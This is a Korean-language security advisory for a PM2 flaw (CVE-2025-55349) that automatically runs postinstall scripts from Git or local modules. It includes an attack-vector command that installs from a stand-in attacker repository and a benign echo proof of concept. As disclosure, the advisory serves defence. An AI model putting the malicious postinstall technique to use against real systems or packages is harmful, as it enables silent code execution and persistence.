
CVE-2025-55349용 리포지토리
postinstall을 통한 pm2 임의 코드 실행발견자: Golden Ticket Labs
공급업체: Unitech (pm2)
할당 날짜: 2025년 8월 20일 (MITRE)
Unitech PM2 v5.4.2의 lib/API/Modules/NPM.js 구성 요소에서 발견된 문제로, 조작된 postinstall 스크립트가 포함된 패키지를 설치하면 임의 코드 실행이 가능합니다.
PM2는 Git 기반 또는 로컬 파일 설치의 postinstall 수명 주기 스크립트를 샌드박싱이나 사용자 확인 없이 자동으로 실행하며, 다음을 통해 호출되는 경우도 포함됩니다:
이 취약성은 모듈이 손상되었거나 정상적으로 작동하지 않더라도 지속되며, 공격자 코드는 PM2 부팅 모듈로 등록되면 시스템 재부팅 후에도 유지될 수 있습니다. 영향을 받는 버전
≤ 5.4.2 — 취약
6.0.5 — 패치됨 — Git 파싱 로직 제거됨(PR #5909), 그러나 이 수정은 문서화되지 않았고 변경 로그에도 포함되지 않았습니다.
공격 벡터
공격자는 조작된 postinstall 스크립트가 포함된 package.json을 가진 악성 Git 저장소를 준비할 수 있습니다. PM2를 통해 설치하면 스크립트가 자동으로 실행됩니다:
pm2 install https://github.com/attacker/malicious-module.git
영향
설치 시점에 공격자가 제어하는 코드 실행
PM2로 관리되는 부팅 모듈을 통한 지속성
공유 또는 스크립트 기반 설치를 사용하는 환경에서의 잠재적 측면 이동
기술 세부 사항
PM2는 모듈 설치 중 Git 저장소를 암시적으로 신뢰합니다. postinstall과 같은 수명 주기 스크립트는 샌드박싱, 가시성 또는 확인 없이 실행됩니다.
이는 원격 Git URL과 로컬 file:// 경로 모두에 영향을 미쳐 공격 표면을 크게 확장합니다. PM2 모듈은 종종 시스템 부팅 시 시작되므로, 지속성 및 승인되지 않은 동작이 내장될 위험이 높습니다. 완화 조치
Git 파싱 로직이 제거된 PM2 v6.0.5 이상으로 업그레이드하십시오.
신뢰할 수 없는 Git 소스에서 모듈을 설치하지 마십시오.
개념 증명(실험실 전용)
⚠️ 무기화된 익스플로잇 코드는 제공되지 않습니다. 이는 안전한 데모입니다.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
취약한 버전에서는 postinstall 명령이 즉시 실행됩니다. 참고 자료
수정 커밋(Git 파싱 로직 제거)
PM2 v6.0.5 릴리스 라이선스 및 면책 조항
이 저장소의 모든 콘텐츠는 교육 및 방어 목적으로만 제공됩니다. 익스플로잇 페이로드는 포함되어 있지 않습니다. 명시적 승인 없이 이러한 기술을 시스템에 사용하지 마십시오. 연락처
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com